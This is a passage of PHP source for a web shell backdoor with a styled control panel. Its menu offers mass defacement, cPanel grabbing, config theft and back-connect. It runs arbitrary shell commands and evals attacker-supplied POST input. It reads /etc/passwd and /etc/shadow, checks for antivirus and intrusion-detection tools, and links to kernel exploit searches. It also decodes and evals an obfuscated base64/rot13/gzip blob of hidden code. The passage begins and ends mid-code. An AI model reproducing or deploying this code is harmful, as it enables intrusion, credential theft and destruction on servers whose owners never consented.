{\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Infect\',\'Terminal\'=>\'Console\',\'Mass Title Edit\'=>\'Massuser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Back Connect\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#e6b000><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div><br>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#e6b000\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ff5e00d9><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#e6b000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($xd)))))); \r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#0d0d0d><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp 